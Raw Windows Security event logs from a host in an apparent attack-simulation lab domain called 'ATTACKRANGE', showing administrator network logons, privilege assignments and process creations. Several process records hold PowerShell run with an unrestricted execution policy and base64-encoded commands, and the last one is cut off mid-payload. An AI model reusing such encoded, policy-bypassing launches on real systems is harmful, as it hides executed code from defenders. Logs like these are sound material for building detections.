03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247233
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x114F41

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247232
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x114F41

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247231
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x114F41
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247230
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247229
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247228
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xFA91B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247227
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xE1402

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247226
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFF78

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247267
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x117ADF

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247266
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x117ADF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247265
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247264
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247263
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe94
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2e8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESA454.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC79E3AD6E09B490980651FDCE87BAA.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247262
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1153B2

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe88
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\1wjhwrgo.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247315
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x11A10C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247314
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x11A10C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247313
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247312
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247311
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1182E8

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x568
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x618
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247310
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1182E8

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x618
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf54
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247309
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1189D5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247308
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1189D5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247307
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247306
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247305
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1182E8

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf54
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc6c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjA